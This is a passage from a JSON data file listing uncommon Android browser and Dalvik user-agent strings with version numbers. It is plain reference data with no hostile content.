en-us; GT-I8190 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; fr-ca; GT-P5210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-in; N855D Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; C5170 Build\\/IML77) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; HTC_A510c Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-au; GT-I9305 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-ca; SGH-T589W Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.1; ar-eg; HUAWEI G610-U20 Build\\/HuaweiG610-U20) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.2.1; en-us; LePanII Build\\/HTK75) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; it-it; GT-I9100 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-us; Ally Build\\/FRG83G) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 5.1; Lenovo TB3-710I Build\\/LMY47I)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Linux; Android)AppleWebKit\\/535.19 (KHTML, like Gecko) DevBrowse\\/18.0.1025.133 Mobile Safari\\/535.19\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SGH-S730G Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; de-de; GT-S5830i Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; he-il; MX4 Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; SGH-M919 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-au; SAMSUNG GT-S5360T Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.4.4; SM-S820L Build\\/KTU84P)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-gb; GT-P5100 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; fr-fr; PGN-403 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; de-de; GT-I9100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; NABI2-NV7A Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; HUAWEI Y330-U01 Build\\/HuaweiY330-U01) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-ca; SGH-I957R Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-gb; GT-N7105 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.7; en-us; Genymotion ('Phone' version) Build\\/GWK74) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-ph; GT-S5300 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; Android SDK built for x86 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; he-il; GT-I9100 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HUAWEI Y360-U61 Build\\/HUAWEIY360-U61) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30;\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; pt-br; GT-P3100 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; HTC_H2000C Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile G2 Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; es-us; DROID BIONIC Build\\/9.8.2O-72_VZW-22) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; de-de; GT-I9300 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; Android SDK built for x86 Build\\/JRO03H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.1-update1; en-us; HUAWEI-M860 Build\\/ERE27) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-us; IDEOS S7 Slim Build\\/FRG83G) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"BLU STAR4.0\\/V2 Linux\\/3.0.13 Android\\/4.0 Release\\/02.15.2012 Browser\\/AppleWebKit534.30 Mobile Safari\\/534.30 MBBMS\\/2.2 System\\/Android 4.2.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; cs-cz; ALLVIEW_P5_Quad Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.2; en-us; A501 Build\\/HTJ85B) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; MediaPad 7 Lite Build\\/HuaweiMediaPad) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.1-update1; en-us; M860 Build\\/ERE27) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; ALCATEL ONE TOUCH 4010X Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SAMSUNG-SGH-I777 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.2.2; GT-P5210 Build\\/JDQ39)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-gb; SonyEricssonLT18i Build\\/4.0.2.A.0.62) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-us; MOTWX435KT Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC Desire 510 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; fr-fr; A200 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 6.0.1; SAMSUNG-SM-T377A Build\\/MMB29K)\"},{\"commonality\":\"Uncommon\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; ONE TOUCH 4033A Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-gb; GT-I5500 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; N9100 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-ca; GT-S7560M-parrot Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.2; MotoE2(4G-LTE) Build\\/LXI22.50-24.1) AppleWebKit\\/537.36 (KHTML, like Gecko) NTENTBrowser\\/1.1.0.506 (Kcell-KZ) Mobile Safari\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; it-it; M8pro Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; iw-il; LG-E450f Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-gb; HTC Desire 2.33.161.6 Build\\/FRG83G) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; N850 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-nz; GT-I9300T Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; HTC_PN07120\\/3.17.502.3 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux;U;Android 4.4;es-us;Philips S398 Build\\/JDQ39) AppleWebkit\\/534.30 (HTML,like Gecko) Version\\/4.0 Mobile Safari\\/534.30;\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; Samsung Galaxy S3 - 4.3 - API 18 - 720x1280 Build\\/JLS36G) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-US; B1-A71 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.1 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; fr-fr; GT-P3110 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; de-de; GT-P5200 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SM-T210 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; GT-S5570 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; USCC-C6721 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-za; GT-S5301 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; E2303 Build\\/26.3.A.1.33; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; DX752 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2; en-us; Android SDK built for x86 Build\\/JOP40C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; N9101 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; tr-tr; GT-N7100 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; da-dk; GT-P5110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; KFOTE Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; pt-br; GT-P1000L Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.1-update1; en-gb; GT-I5700 Build\\/ECLAIR) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; it-it; GT-P5110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; es-sa; LG-E615f Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; pt-br; GT-S5367 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; ro-ro; Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-us; SGH-T589 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; TECNO H5 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; IdeaTab S6000-F Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-mx; ONE TOUCH 4007A Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.4.3; HTC331ZLVWPP Build\\/KTU84L)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; it-it; GT-N8000 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; es-es; GT-S5301L Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; LG-P870\\/P87010i Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-us; GT-P5210 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; ThinkPad Tablet Build\\/ThinkPadTablet_A400_03) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; PJ83100\\/2.20.502.7 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; ZX-X15 Build\\/JRO03H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-au; LG-E435k Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; nl-nl; K010 Build\\/KOT49H) AppleWebKit\\/537.16 (KHTML, like Gecko) Version\\/4.0 Safari\\/537.16\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-au; GT-I9100 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-au; GT-I9100T Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 7.0; SM-G955U Build\\/NRD90M)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; tr-tr; GT-N8005 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SCH-I815 4G Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; N762 Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; ar-ae; GT-I9060I Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; HUAWEI Y336-A1 Build\\/HuaweiY336-A1) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; pt-pt; GT-S5360 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; TM9S775 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-P5110 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 